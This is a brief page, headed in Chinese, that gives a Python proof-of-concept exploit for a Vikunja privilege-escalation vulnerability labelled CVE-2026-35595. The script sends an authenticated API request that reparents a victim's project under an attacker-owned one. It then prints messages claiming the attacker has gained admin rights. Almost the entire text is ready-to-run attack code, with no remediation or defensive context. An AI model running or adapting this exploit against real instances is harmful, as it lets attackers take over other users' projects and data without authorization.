CVE-2026-35595 Vikunja权限提升漏洞

# Proof of Concept for CVE-2026-35595 # Description: Exploits the permission inheritance logic to gain Admin rights on a project by moving it. import requests TARGET_URL = "http://target-vikunja-instance.com/api/v1" API_TOKEN = "attacker_jwt_token" # Headers headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # IDs # Victim's Project ID (where attacker has write access via share) victim_project_id = 101 # Attacker's Project ID (owned by attacker) attacker_project_id = 202 # Payload to update the parent project # This triggers the vulnerability: CanUpdate checks CanWrite on new parent, # but the result grants Admin on the moved project due to CTE logic. payload = { "parent_project_id": attacker_project_id, "id": victim_project_id } try: # Send the request to update the project response = requests.post( f"{TARGET_URL}/projects/{victim_project_id}", headers=headers, json=payload ) if response.status_code == 200: print("[+] Exploit successful!") print(f"[+] Project {victim_project_id} moved under {attacker_project_id}.") print("[+] Attacker now has Admin privileges on the victim's project.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")